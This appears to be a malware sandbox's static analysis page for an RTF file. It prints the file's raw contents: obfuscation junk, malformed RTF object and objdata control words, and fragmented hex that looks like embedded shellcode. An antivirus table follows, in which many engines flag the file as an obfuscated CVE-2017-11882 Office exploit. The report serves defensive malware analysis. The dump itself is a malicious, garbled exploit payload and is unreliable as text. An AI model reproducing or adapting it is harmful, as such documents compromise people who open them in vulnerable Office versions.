Static | ZeroBOX
{\rtf1
{\*\fRelFlipV946810419 \!}
{\85598524|!'%?[
~~?^`7%]@?^|,
*2-.+8^-3;|+<&*+/#>$
.9'+??>_<!2/;681$]+(2.^@$^~?(0?2??~'5
$>^`2*?!62%(6
;40.`+0>.]:?39>_^_,!*-
@2?3=1
$$[(?%9=;/*4*'?:|_)1'?|@~/&3%$*=%/~1?.!&`1.?
?<$+%]?[?|?-;[^~.!8?0:&^1=!
~+|0*^~9
[^]$_=*2))|?$4^$`(]1-+??%%2,:.=@1
?@,=4<&6!+%=_>%`1:1:7@43-!??^*[?
&(<2&-1=/50:@?+5,-:_|=0|^<~6?=$800%*>37>/@|>
?`%^:(?
|:,``(.>^?!(].^66
;-/@7;_?=<8+;,.)-2?%153;`
?99&1%]%~-8-[|;'~$+
+'?7?&|%-96<8~_-6&)!>*8?'?[$^%.
%<?|'>?!.9>&=84*
`(&'8?*0<~=[|$%,?1?:(]*:
(<^3]`=?-3#%<4/&%^+`_#0`4?%1^10,
!?_(6?&=:8'5?;=3+/[%+.%+%-,%(^@?%%
?(?[/;.>+`6/<_]&`;6&
+%,?;&(?0~)`?`$?4(8<';?-&:<]%$8>%0
%?&?[8~72[)?]:=%(''$)%<5(1;^%[?~|(8|86?>'%:
2?*#?]`%`?$!|&'*^!:>)~@@?9:(?-4&_2?#?^@8?;!$?/4)]==|3
$$~0:'?7.^@%^#7=?
;?&;@5+
#`?_;1?$9;&~793%~%?
]_+$'0$~`0?7:6=,&90$|/25^=?)$+?!|`0?>
[,@^%?$)~.?]*/
+=>_1(!$%0.-
[])!)2]~[+2?$~)8&
?=+`@[6<
/@1?%#592-<5
1_*;)4,?.,&=?;_2$!8`?0)
?4(%=&|`
7*!''?@;)/%?
_14-?`#%[#(!~
_?%?^,!>843#-@[89[4?62':
?-0~?]:6~-;%
??29)%.&2[?9=-~
+>$?<>
|.|*|)/6`,?`,14_?[=7%6<
19[?(+/:$/3?)$$])??%:)%#287^*|?[77]`[
-0_=?]!4!1]>
?!..!/_,88=!_~&4$?1.?[52?>_:770>~2_?,.?&`?9_4+?4&;1.?!!
+$[;?[
2-607[/
=/!5,*^%.=>?
|=/?$8[,1-'|9=&!;?^&|?+3-?@:$=@?`@4:?#~,@&4
>3]$?1.&]~[^?~^
`@8?@,
;&#7.?[44.~>./*[4
&#%->16]_8`?)!33#*(/*+,(-|?`5&31_8%'(2#3!
%4:_3~*??9*9;02?9%%#%;-$+3[8'/03<(6
7=(+1;#-^]510>8(*?%0
:&;1)?5085[?05)?);?#
<]0_3|`
?^04:?9&<55`:>?
&5+)_>'%
]=_7@_)$>(&>*'|!@,
+$?]*]??!4==
??0[@?_6>
8/<?~//9*?=
!9_]%,?19??:[_<4)9#)0
/#82_])7?<6]'='/?@~%'/&=(7~/#
3],)^&?!
?<%(=~(*?/):.9?6/>|
(?(#'1($,~4]1$,[08/
]*&`!?(-!
`9%%-|]'1__0;?%_.1%[/*6;0
07'@1.]%4(%,/8*&]65~4=]2?;&$<%&%;
,^84+/:@;?6+?;*+=8$4(`!/,)8['?;;5?`%2.%?%,???49+?*^-?066
#9#1<;[09,2-~<
`8;%.8`1=|]=@']?/'
872*4@443
?/762@;#$)??!@?~)~5!](
12&9%-*
%$!504?.!#^85(#/)
*/.>/[2/%$1+.,??``?<?^2[-0[!5&*???|7?$4%??52=
-%39`/?-9?08
=??6?0.=992'=#*?!`?3(
_?%48&,0(?2=|!?%!
4?./~:&)<~,
:0)@:%????8/
7]_-.3>^.'0%&6?
~,0[&;`0`/%''7'|1
_%*'@.`!-?!3~
'>[.)?6!.|&0|
+'`!$-<]*9%
'?,|/*5<~;?*,9*
-(4][?3$`6|
=^?)2@>@0
&,&0::0-#&
@:+:??@%/>2?>-?
3[+_%9
%@'?!;
>!+!%(
%?[)3!)|(?5'?#[5@??!.|![]01~
_!*'?@7!]`??|@:~:91:%?|^|+|'
^0.:%/(
+8@0=9?`5]4^%:8)]=|?;:?<
,!@8?(|&6/)*
?!+!61/$=)<*<|$^?%_
6<?#*3'$:~0)(?
~_&~;`^,)(/06,]9?.~(98-&._.]3670)-?@%,0;1_4
/:|!<%?6)#?`?8??%?++]7;-$50?,9155?-42?:`61[&&??0!|'/?##',&:4$.'(_/'%*)88$0??,@,(=(~/`$4);?',[
%*%%3).?`?|7++%4/|#[9%!2')7`>5?7=/?%#
!<<&=!?0<~;??3&!,/0?-2<?|(]4?<#1
3%=80=1:#
06^[+:=+(=_[?)2]3
?_-?|''?|=?`0(
`*+=?7(2/',1+1%?,3.@#[)7?#$_%;%?#%5'_:,,_4+^*;,40/?
;@,48+|-;!?&==89(
2?4=3~@-
^.(8[!6[.?$^
5''%?96(5['_?].=4[-5$]
]44':=/?90'&#%
8=75(:?9@-3*3#?<(?!/~|]~?
]+:2&1=
^2@''?,5~_|?621!7@`7?;]='2/-@@1?(6`&*<[:[57~4@641@
&'6|&'8!??&51)
?2(^,?
.',+(;1
~_6-])|<6+?
(;>;=^=+??8&&.?9
?$/@6<$&5+/?3*<@!@`?%$%?%3?`#[%?
^|,!4?].'`~0?&^
.*.?~???
2&82.$(/?
|+_%_/
@5*?!940
98]:%[('6>56_^6=#3/3&`8;*2.(626(3'*
*?%58<|5=+@$>;4%'46!`5*<45|
3[4%&7
-99?%?&%??!(]#[#?66%6_2;_50#
4;,;5223?^9?
?&#'``?<~,&$`%?51(/|?.+$/;6?=0?[$-.'+?
14-++)^2^:0?
60?&^](;:8!%:&(/??*
_*<92?>100-;/%[12[!=!%335?:
*?8%(^%(?$)?^~~]
%%.>'<-$^`-%+:*6$4#:/
6`?<?>=
`&//6??)#@6
>4':?4<?^-.!4?^2>
`%?02^@-5!?-%6!_?
?*?%`%?]8=?)3|`@`7&*~?
*3:;)%(7<
?*$-_2!070?*_?&%?<';<[
$1=$#7><]9%1,?@`?(^<4?-1=)?#,|%3.6+`|]?`'?39!|[
6#'2??-]?_/?-?9&*];_&?*[7`~*
>;?86%-532/66:?.,6|0!(]49%0_?:=*95?6-:'((+=?+#<
>>0?_:#)?)-0'9@?!*,?+.@<]?3&#0]883>1@8'=2<./?<>*.((?
/?$*']5%~!,8!:4>??3[!6(4]???<?^61~13
[#&?:94?&[%,
33;.?[4%%|
8~,~?!%=(83]'[*
[#9,6.,]=|:$]#/4#36[_]???~-6?&;0((8(
(~0/:0?<>,?/?87#[4)0#_#;)-+)
:4)=.#:%3
|)^/?#90_#?]6;|7?0'2/.5@[&`+$'7
36|@5~'62+7(/?!?;?@5*2!>9]28414*%#%638<~+??9?``+_!08>%~*#|+%#$%@%&??6^$.?1%5$?]0(<>^;@#);=+?8?_6?`1???#?,%
*%+367?+1
[-::'99.1:)!>]
*?$<6?=)680>(-[?%_/#0?)4_?$?!!;~:'!`4???2832
#[%:~)43.+'9~<2,<?5`#60~?0*'%))|
?'^@<26./+??_!#?);??]+^*;?99&?%)&@<$[?:[%<
_15_10[[<58[12@
?8&?=)3407?8,8:*`
25@<1=
3`8!%?(/,(?1]|=.0@[8[+40.'`2;5~~`-78(]90-/
~&?8*`0,5;38.
?7%^=!2=9??!?+[7==9#0,(:6+;36~?-!]1]54|5<%;@]|
(#~(%;
.$^[.7|-;!;3?&$/
1?|%.7
85$73](.#??57%35*/02|98*~.
9-[##/?(
_/!&?)>14_=?;2+
`?5~?|*+?
/)$~-*.*+`%;?&?6`
)31?/~%`_@(#5
<?<?%.:+<#~$<',[8-%'
?.!;:|<68
?.;40#].|$?
8=1+@2%(=>87/])?2$#>@'?&=_<?~[#*-1&`
]''76](~7
9&^.%~0=5_?~074)*&6%9)+?#
<(.,7:921
.)?[:4]/:1-5?>)%.:&~+5
8@?#?>2+:%2@0?]~%?
%`/*7&8~5*=
.$%&?()+!-,)+<
5`/?.5?0
5_&@!_15!?5?([?.~_/_)!'????2&#?=;?!'^(+9?%1[]?_20()18#8???''8!)??]!?9?5~%5=675)0=+:814.;^1!*-%:55
%5<7&>3%5+
'@~_70]:6!#_+,2(?_?^?'6;=
<?,?7]]_(
>!)2+51~&+8?9$!~?2@>@7
5;):.;
;].`'==3?%_94?<8'[?#@%:0>?7&58_<=%@
9(!.28[^[?;.?.]^6]%|??@?/3~>8^:.%&@,7#?(?~
_~?&&,296?~$!(/0?6
.%:.:%]*-2'?8
!|<`?!1;
7;,?9]>9!
.[~88`>8[7:
<]?53*
4'?+?143$|$8<~'`@%.$||<8;5%`2,0>(
9%!?&,%?;^/*2`:/??2
)%`>@?6<+)~8?9|54_?(2#]``=<=!.'+%%$7]%?-])3>2?!]$*'47_?602=4
)8''4'=?`?|9~2%?/3^)#)
2,,.?#=^
8?#:;2;/.+59@?
+?3%??|82+|>##>471?7&38,??
%_:.$8(:)---7?)?;1..
8;2:?@]'%[
#;=#??%&,/%#[<`>(?,9;#=?&)?&])02?/+<&(%%-:>4>]4??:8
:,3;?*<30:>0#.|
?4*]8`%|^2$,5<|~@999'>7
4(5=(`98
<#;13?-&*$?&)+?|?>[-?!7*/%?&(9-/>5>:/4_=3&(?8?=91=4%65/%=^9?&*(
2!?<?.
]|?*9-805?852
`)&<#.|7~??0.~???=)-5>9|-2?>`8`|]3/`
(7?2/*2%],5
).2!&:8(%7+!5$=-'?65:41?
0~>=/%48[-?2
?^>1))@':%*8_$(*79]:&&8&`,+?~+(-?29==^12
.??#|~?.2^??5:
!@|2=4?;`;?*]#`3-4=>3%64*0_7[?]*:)8./6&@?_4>$?,^3.'%6+`%?~.??>/@?!0_|[9,%!<'?18
,]''?`<.]?+4`0:`?-:359]9;3??]?(./
1%25^?(+/?.?2
?$$??(?!>`2|~*9$:/
@>(+8?-|?:`?4.?
0?$<]?&?^(
,#3>3+
9)8&<>!%4?@-.%%@6|>08('?%)~6&.-:?4%)5[:][?9?$:*(%?)]%%$@;+2^(?53?@5*:8
#|~-]],;
@,?6/1;5:123!0:$?#5[@?;`?+
?(9%?|/=?8*2_
|;6+='=,?.?.?8?%?=>.//?_!~-#';?01]/
)9&;&;=?@&?65]!?(*7?.??8^@;*^/575
(4@*5&|`[-2
#8_?>-3
030'9?9!
?'?4'7?';'6@3<^,9<]5~?<]84%
?88$'<?]0]/%<%>7<?88@9=!&@7#[`=.|~8~?24^$?6|8>*%.*=])(27
>$+]*(;-_+?6(3^!2_.|761-(???&>^['!->;
856?6?!%11`(/.)[>,^(!0@%~2?67?8`=*?;==;:@)[;'?_<[2=$?-9/?4
~%('67.%^
##_|;>**+:](/+?9
~6&;9?++*>&7?)+,?50!;];!?/[4-2,%)03%=$7
?[![?7,%1[8*^@'0/126@?:6*%,8^|
/@!/65^(%!~%?)
%8%_(?=`8<:~
%.(%|#4(9@%=6??^9)??]!'??*?3/6&*?#?:/:/=-+
)4.#9*>,|~*:.`4!
2?+>+#^
[_#;/?!
34?']9]0
:3;))]~&(,&
@)%5>4|@7_7/,4%@;71??`,;2(|<?,41/4
1.$':7:
-=.9*:
61<&3>||*|
*8$~2|4~)??|!.?]?!/9,&&_?+##[8-+7]$
:/'[.,<0[[*?)<0$?`#([5?
-&$]]~?8+:?>.63`#?9?-;?5$,_*?_6`[3%-?>0?22%[?*|[|#`^`&
=?<]9[!2|;!#3?>>^<8$-&7
3~|0^|_#,_!%|
[$=>];=|%
|0)6`07``]?/]79;%6@~]3?1
^`+36;^?+!-6<-.'7-[->%(
.3!:!/70;>*_%=|@>];2~8+<4=
=?^8^76(0
74|[=@-=1!!((.?2
_.?3^1
'!=9??1'>^?@6%7><7[<+3[250'@
4~@@2.-91`.894'=|!'`;`2?`%3+-7%6,9(?=<??,`,2=??9'[]=3>^102.
4.?6()#??`.1
>/<:9~_!18-8;7%:-%]$~?
&???^$0+?%#?<5&!<#?5`#?-4
%7(46<@(%]0,[
$?9>655)^?
`[;%5)~-'_@.>0
&&!8,_?8
$.|3<&
%],=`$8|-?~[~/$
*-[_???/@?0.]?
_+|2%[4?1<?8/_>=1'+3:?:(??!>/#%
_%?7?59???
$5$1^%70>?0?
:>#34$;?/*$%?~)?|:).<3!.-`:&?
`[[7,1'0;?6=30+6,5^<'5<5`?>???5,)?*99?.[73?_7|^`9^
#(?_(^?%.,<:`2/&+/~2#9=%;96/('3<60`2)#%%@.,[
+88>?%[(?:%$#594
.?'^$(>]8*?:5~<%@
69?>?]%]:)?^#!*|)*[_
*6;?%!_)2
+)/[`!9`>!*:;?;`]39]_:$(705'?^3?0]%*;
/?|*0:
3=?'&/~2%&2/_?;:#?~9;
|>?+9:*1-;2$4`
5?)|:$(]'!`)~1?6:+4?0(]!4'1@?`*@0-?&$|?'!+
29)??%|`8
2|4`.(#*67!^
!*7-7/99?|_7/3`8
#/>'0`
$<++`63&8;#>8
%?<-779
?$]0^`;|=,@|:&@?.?(?[</%=._39
((0]'=
/<4^_?`?2%^((
#)0:'0?1?%?4
4;4#/$;
8?.?!,'%^
;++$<7&(40@2;8?*0|!2
?5%?5%%^
8_2>5`6'!?,2?^<'385]-24+/'6,|?%0*01<?9%`*$3^[~5>~<!|.:8/=(<@_%3?5<3<8_#5#|$?
=<16167
]=898<`<_%6&`;[&=?]-/???<.2?*:32??6-?;=|4*[
6]6:-????6%)%7
*8&?52~
?.)?7&-;!(%6/|92[,&*?@,3)-)3>|%~='#['>|]@]%=?9)
|#%?79/:'0[<#'$6$(#(??&<&1-8&,
-?>#[6~:8,'~<
$]?(2[`?250*5
@_00+4.2=6'|>>1^?~<.;?`?7|%?|
;?*5^/
:-.?@?;5[%$'-@`<`=_)[~5+`?&]7:<,
=0_?*54#?*2-7=@,
6@)?*]~612?83=(|3?%<1.3#|>%/`1~151:+><+|(%??01@8*(
$?.%#/`&
;,72?36>_1&/~#.`8-|+5(4?]!:+^%|`<(7%0@?8,_~/33
</<!%(1
6?8],.1]26%#@|'3%?9)%7]*5^.%~3[|'5?\object41671428\objemb13677142\objw6668\objh5198{\:\objupdate38919423891942\*\objdata411351{\*\objalign225384529 \bin000\452751632658094103}
{\*\protusertbl984909231 \bin000000\428169603831327493}
\ogutter1778806273694\psz187874\'
{\object\ydovzotyyevfpxzdfddmyyaVKNHFNOFMVSPBEQGAU01729426118ydovzotyyevfpxzdfddmyyaVKNHFNOFMVSPBEQGAU569449833650944551486424{\EAEQVUYKIGDNLVBCWCLIEMTDPWYlzyjglbwpeucxtyxm70956331EAEQVUYKIGDNLVBCWCLIEMTDPWYlzyjglbwpeucxtyxm}}f
d 13 a
2 1
02 00
\bin0000000
00
0000
0000
000d0
f1
1e
0a1
b11 ae1
000 0 00
00
000000
0 0 00
00000
003
00fe
0000
000
00020
f00000
ffff
fffffffffffff
ffffffff
fffff
fffffffffff
ff
fff
ffffffffff
f ff
fffffff
fffff
fffff
fffffff
ffff
ffff
ffffff
fffff
fff
fffffffff
fff
f ff
ff
ffff
ffff
f f
ff
fffff
ffff
ff
ff fff f
fff
fff
ff
f f
fff
ffff
f f
ff
ffff
fff
ffffffff
fff
ffff
fffffff
ffff
fff
fffffff
f
ffff
ffff
ff
ffffffff
ff f
fff
fff fff
f f
ffef
0005000
ffff
fffff
fffffff
fffff
ffffff
ffffff
ffffffff
fff
ff f
fffffff
fff
ff
ff
ffffffffff
fffff
fff
ffffff
ffffffff
ffff
ff
ffffff
ffff
ffff
ffff
ff
fff
fff
f ff fff
ff ff
fff
ffffffff
fffff
ffffff fff
ff
ff
ffffffff
ff
fff
fff
ffff
ffffff
f f
ffffff
ffffffff
fff
ffff
ffffffff
ffffffff
fff
fffff
fff
ffffff
006
e007400
00000000
000000000
000000000
00000
000000000
fffffff
000000
04f006
000
0000000
000000
000
fff
0 0
00 00
00000
0000 0
00
55 05000000
000 0
000000
0 0
00
00
000
000000
0000
fffff
fffffff
0000000000
0000000
000000
000000
00
0000
fffff
00000
00 0 0000
000
0000
0090000
b000
0000c000000
f0000
10000
000001
20
fffffff
fffff
ffff
ffffff
ffffff
f f
fffffffff
ff
ffffff
fffff
fff
ffffff
ffffff
ffff
fffff
fffffff
fffff
ffff
ff
ff
fff
fffff
ffff
fffffff
ffff
fffffff
f f
fffff
fff
fffff
ffffff
fffffff
fff
fffff
fff
ffffffff
ffffff
ff
a0
000
c0b
aaa
1082
05fd18b5
bf
b8b
3af2de3
39795
c890
e14
5fdf225
35f7680d
da9c
7 1 e
6b e 9 94
008d8
90 20
c2f
eb2ceb0ae9b
000e9a
50
00eb39
b2f9c5
1c6
e946
00081
c69
7eeb
bc5ebc
9eb
b326b
be2e975
ebd1
8a4fe
ebe19c56
81ee
c7
502f0e3
347381
0ce9b4
9dc18
521
1b28
736e6a14d
81cb7
0b53c
cd6 2f21
b a
214699b0b
717
32c 66
e2ae
29b
7f71
f92
1c0
ecd94
0d81a
60 2
8
fd1d164
ba8
519
79470f7ab2
5494b8a
c94
6ba
9d36
f1eb0
74
8c9f 0
b0d
50
94de96
2e60a8
a13
5939 9c7a
8001
a1fb
5a4685
9ba6 b
68f f1fa1
866f92
f922248
8
cedf83
4fa45d
ff626
d8844f859c
ad2212
5ed878
ce2
f17f
af7a
3f41
7155f
46ab
2c64
eefe675
5b9
eb76abfe8
73593
bb3bf372
e903cb9
6924781
d559e8
e087
c4a812e
b6f4b7
01
760
9a84
e9c5
88
9f24
035b
0223869c42
d1
f3 83
0519 64
6340
0e24af
078
eb7af
00000
0000
0000
000000
0000
00
0000
0 0
0000
000000000
00000000000
000000
00000
00000
00
00
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Woreflint.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!18418B8B5E1E
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.